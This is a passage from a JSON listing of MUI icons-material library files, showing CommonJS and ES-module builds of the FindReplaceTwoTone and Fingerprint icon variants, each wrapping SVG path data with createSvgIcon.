    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6c1.38 0 2.63.56 3.54 1.46L12 10h6V4l-2.05 2.05C14.68 4.78 12.93 4 11 4c-3.53 0-6.43 2.61-6.92 6H6.1c.46-2.28 2.48-4 4.9-4m5.64 9.14c.66-.9 1.12-1.97 1.28-3.14H15.9c-.46 2.28-2.48 4-4.9 4-1.38 0-2.63-.56-3.54-1.46L10 12H4v6l2.05-2.05C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36L20 21.49 21.49 20z\"\n}), 'FindReplaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fingerprint.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'Fingerprint');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fingerprint.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'Fingerprint');"
  },
  {
    "path": "packages/mui-icons-material/lib/FingerprintOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'FingerprintOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FingerprintOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'FingerprintOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FingerprintRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'FingerprintRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FingerprintRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'FingerprintRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FingerprintSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'FingerprintSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FingerprintSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'FingerprintSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FingerprintTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'FingerprintTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FingerprintTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.81 4.47c-.08 0-.16-.02-.23-.06C15.66 3.42 14 3 12.01 3c-1.98 0-3.86.47-5.57 1.41-.24.13-.54.04-.68-.2-.13-.24-.04-.55.2-.68C7.82 2.52 9.86 2 12.01 2c2.13 0 3.99.47 6.03 1.52.25.13.34.43.21.67-.09.18-.26.28-.44.28M3.5 9.72c-.1 0-.2-.03-.29-.09-.23-.16-.28-.47-.12-.7.99-1.4 2.25-2.5 3.75-3.27C9.98 4.04 14 4.03 17.15 5.65c1.5.77 2.76 1.86 3.75 3.25.16.22.11.54-.12.7s-.54.11-.7-.12c-.9-1.26-2.04-2.25-3.39-2.94-2.87-1.47-6.54-1.47-9.4.01-1.36.7-2.5 1.7-3.4 2.96-.08.14-.23.21-.39.21m6.25 12.07c-.13 0-.26-.05-.35-.15-.87-.87-1.34-1.43-2.01-2.64-.69-1.23-1.05-2.73-1.05-4.34 0-2.97 2.54-5.39 5.66-5.39s5.66 2.42 5.66 5.39c0 .28-.22.5-.5.5s-.5-.22-.5-.5c0-2.42-2.09-4.39-4.66-4.39s-4.66 1.97-4.66 4.39c0 1.44.32 2.77.93 3.85.64 1.15 1.08 1.64 1.85 2.42.19.2.19.51 0 .71-.11.1-.24.15-.37.15m7.17-1.85c-1.19 0-2.24-.3-3.1-.89-1.49-1.01-2.38-2.65-2.38-4.39 0-.28.22-.5.5-.5s.5.22.5.5c0 1.41.72 2.74 1.94 3.56.71.48 1.54.71 